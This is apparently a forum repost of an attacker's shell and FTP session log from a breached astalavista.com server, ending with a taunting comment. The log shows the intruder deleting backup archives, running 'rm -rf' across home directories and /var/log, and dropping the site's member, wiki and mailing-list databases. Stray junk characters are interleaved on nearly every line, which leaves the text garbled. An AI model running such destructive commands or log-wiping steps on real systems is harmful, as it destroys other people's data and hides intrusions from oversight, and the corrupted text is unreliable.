227 Entering Passive Mode (212,254,194,163,2,189)
- i/ Q1 y; a% Q7 j" h4 N: A150 Opening BINARY mode data connection for ‘file list’.
1 \' e# L% n0 t2 c-rw-rw-rw- 1 astalavista.com users 23410936878 Apr 29 22:10 09-04-28-astacom_full.tar
+ R5 K, O8 ` s/ p& g-rw-rw-rw- 1 astalavista.com users 20617651590 Apr 29 14:18 09-04-28-astacom_full.tar.bz2
8 s9 k. j. s0 ?5 {- r+ Z L-rw-rw-rw- 1 astalavista.com users 88287111 Apr 29 15:57 09-04-29-astacom_sql_full.sql.tar.bz2
6 y; z$ o+ [/ C! n-rw-rw-rw- 1 astalavista.com users 26413034040 May 2 00:21 09-05-01-astacom-Public_HTML.tar
2 \$ Q6 C0 ?4 D1 z0 p-rw-rw-rw- 1 astalavista.com users 277843549 May 1 17:29 09-05-01-astacom-SQL_Dump.tar
- I1 E* v7 Q6 h. M: c$ x+ M, L( @[snip]6 l/ E3 s7 E7 E% K* Z+ I5 g8 J
226 Transfer complete.8 ] _0 }+ U P4 h+ C8 G7 @
ftp> mdelete *
9 [, ?" {1 M+ ]5 X2 @6 k3 a0 mftp> ls -la2 y6 o M7 H* _$ C# U) g
227 Entering Passive Mode (212,254,194,163,2,193)3 `. L4 B& G# t9 b
150 Opening BINARY mode data connection for ‘file list’.5 J' @5 \6 _$ O4 r: t7 [
226 Transfer complete.9 ^0 c! m9 q. R: q' [! p2 @
ftp>
6 H) X* ~; ?9 N* K- o
% X$ ?$ ~) G- b% y0 F0 |; Jsh-3.2# cd /home
8 H. G6 W- y% i9 X; J/ M, x5 {" v& Msh-3.2# ls -la" c3 t+ t1 e# z* W
total 120
4 Z! ~& ?! p' v2 N# ]- rdrwxr-xr-x 14 root root 4096 Mar 11 17:56 .
4 a& y% z# v5 e$ T1 [drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
1 t* J7 R1 F* m0 idrwx–x–x 9 admin admin 4096 Nov 28 2007 admin! |: K3 p d2 V+ u5 }
-rw——- 1 root root 8192 Jun 4 03:03 aquota.group
5 ]% G. V0 S# U' G6 v-rw——- 1 root root 8192 Jun 3 02:45 aquota.user
# g9 E5 c# `" h: T. O1 }5 Z% [drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet
`' T8 r7 V3 ~drwxr-xr-x 2 root root 4096 Jul 29 2008 backup
# v; v: z N/ E- W7 ?' wdrwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161# w; ~' p8 n% |$ }- H/ ~
drwx–x–x 10 com com 4096 Apr 28 12:40 com$ R+ U& m: E9 l, `5 J
drwxr-xr-x 2 root root 4096 May 17 2007 ftp- a- L2 v5 f; m& o& A
drwx—— 3 jon jon 4096 Sep 21 2007 jon
/ w# k' E; K# edrwx—— 2 root root 16384 Sep 11 2007 lost+found; K2 H4 d$ M4 L. {3 {
drwxr-xr-x 2 root root 4096 Sep 14 2007 my
f: m7 Q. ]* N" e# kdrwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata
" v4 D- C; C7 ddrwx—— 2 jon jon 4096 Sep 15 2007 test
( A+ J2 _8 r; F8 ddrwxrwxrwt 2 root root 4096 Jul 29 2008 tmp, t$ @' a9 o: o( Q
$ J e, h8 W$ S6 ?, A9 i8 g6 t. x7 ?
sh-3.2# rm -rf backup/7 P# [; P* z8 W
sh-3.2# rm -rf backup.14161/( H; c- r, V/ O. F
sh-3.2# rm -rf ftp/
. e) K: W, i# h l3 H* @3 tsh-3.2# rm -rf jon/# h! c. A. ]) ?# [7 S6 Y
sh-3.2# rm -rf my/
% ~- u: p# h o Ysh-3.2# rm -rf mysqldata/+ n$ A6 X2 j+ t; ] e; ^: Y
sh-3.2# rm -rf test/) x$ J3 v! c0 Q3 _1 l
sh-3.2# rm -rf tmp/# p1 Z" M" F8 z6 ], A" C
sh-3.2# cd ~7 s: ~. @- [" d% W8 N
sh-3.2# rm -rf *
+ H' K1 I2 R, ]5 y$ M: }sh-3.2# rm -rf /var/log/
5 u7 v' L9 b+ o6 d; ]rm: cannot remove directory `/var/log//proftpd’: Directory not empty
H, B) D/ Y9 m9 I% F0 h3 l# [2 D+ ysh-3.2# rm -rf /home/*
6 ~/ {; ?# L% L5 Osh-3.2# mysql
5 z7 I8 X1 [- S9 UWelcome to the MySQL monitor. Commands end with ; or \g.
( G% [# b" V L" x2 Z: tYour MySQL connection id is 407156
+ x- {0 o+ m( |* x" M! zServer version: 5.0.45-community-log MySQL Community Edition (GPL); Z' u" Y: V5 S4 d4 O+ \
8 X0 @% k- f4 w2 M# q
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
$ v* e8 D8 v$ n! T: n' Q' l" E/ i
1 ^7 M. H5 Z) k- D pmysql> show databases;+ `$ B% j: J1 A- F6 m3 s/ E
+———————–+
' X0 T# J5 C& R6 o8 s# O i| Database |" L1 n" t2 r- I# b1 J
+———————–+1 K, }( d2 @7 ^* T2 b( w h; R5 V
| information_schema |6 y* e. w: B. F# ~
| astanet_ads |
. R, _1 G- |- q| astanet_mailing_lists | V! _9 m0 r2 d2 }1 [/ o( B
| astanet_mediawiki |6 Q5 E7 d& R/ ~2 u2 F! v
| astanet_membersystem |
, e6 P: ?) P; s, p" P) G6 E| com_contrexx |" Q: {$ W% _& R. S5 w
| com_contrexx2 |# E) c+ O: P9 ?
| com_contrexx2_live |
# U* Y/ T* t) Y( f+ q| da_roundcube |
0 G/ x: B( y: K5 o/ { X- ~& _| dolphin |, J0 z, ^( U L) n: _
| ideapool |, v+ g+ N+ U% J! z5 j2 Y, ~
| mysql |
' g' p8 ^- a4 W| test |
& Y2 [) @1 V% g4 [% M9 o, J! X. C| yourmaster |% F# p; g; ?/ @) U5 D- L
+———————–+
/ P" A4 l8 F$ U14 rows in set (0.03 sec); \6 R- p/ x& Q. q( T
+ o$ d1 D& c# G6 F imysql> drop database astanet_membersystem;
/ ^& f" E: Y9 WdroQuery OK, 46 rows affected (0.81 sec)
$ A- B3 J- M8 c# c! C
0 P# I( p8 a( _3 r. Z1 T/ tmysql> drop database com_contrexx;
+ B8 D% q! P6 B. Z+ K" bQuery OK, 211 rows affected (2.72 sec)
' Z4 B- E: S" z# Y: e; J" i! G9 o$ S1 Z- ^8 |$ D
mysql> drop database com_contrexx2;0 j, ]+ ` H. Q8 b) k6 g
Query OK, 237 rows affected (2.23 sec)
/ m+ n# ^: t1 u1 H( _
: w2 Y; ]% u# P) [2 _ _9 ]mysql> drop database com_contrexx2_live;( H0 Z2 z" ]% P! w$ k4 E
Query OK, 227 rows affected (7.63 sec)% ^. ]0 @6 S$ j( b+ S4 F3 R7 S5 I9 A
" _; H& n$ s3 u) H+ e: D0 f+ Y
mysql> drop database ideapool;+ |8 L! _/ r" ]3 D
Query OK, 69 rows affected (0.19 sec)
; M6 h5 L9 u7 j& O! X
: c) L5 x u2 }9 Z! z7 Bmysql> drop database yourmaster; ^9 n! T. N, {7 c/ C) F1 N; b5 q. F
Query OK, 158 rows affected (0.55 sec)
' r7 p4 C6 l8 t" P. Q; P; r; _5 K, @
mysql> drop database astanet_ads;# d( o4 n) m; y, [2 J
Query OK, 9 rows affected (0.11 sec)
T$ }" `+ |( i$ e) {+ w O' c' V% f
mysql> drop database astanet_mailing_lists;1 N7 q% ^9 ^/ f) S
Query OK, 24 rows affected (1.47 sec)
6 c. c Q- P, c4 i5 X& H
# t3 a: x7 Z, Lmysql> drop database astanet_mediawiki;
0 o# Q5 f, j1 FQuery OK, 31 rows affected (0.51 sec)
) }0 n# ~0 E6 |0 Z7 B: ~( ^" ?
7 a; p1 g# {/ q, Kmysql> show databases;
. o" t- e2 l7 ]5 V5 W# A2 k! Y+——————–+
3 O% y) `7 {- Z8 O0 b& ]| Database |
5 V R( Z$ V3 }* @$ m' w1 |5 ^% _+——————–+
! H$ R" P R" S| information_schema |0 D% K8 f1 L, W4 o4 f$ x7 O
| da_roundcube |
( _7 V/ b- ]! i7 G9 j$ X| dolphin |
; _% `2 |% d- g1 e# [: B6 ~2 i| mysql |
- I6 a% L/ p1 P# u1 l8 z| test |3 f. k) C8 O/ L) }7 j- I
+——————–+
% k4 z* `; x2 W4 B5 rows in set (0.00 sec)4 h- L: @! `) x
: Y, _$ \' U8 q5 @2 [7 q( P' Z/ A
What a journey! We’re not sure exactly why the “Terminator” had any influence on
' U1 {: M# a3 c* z5 w2 h1 i8 Ltheir naming (conventions) but we’re sure Arnold himself wouldn’t be in the& _+ J9 O# [7 a5 I' L
wrong to say this pack of morons *wont be back*.( W! D. @" Y) ]' o
|
发表于 2012-11-6 21:07:34
收藏
支持
反对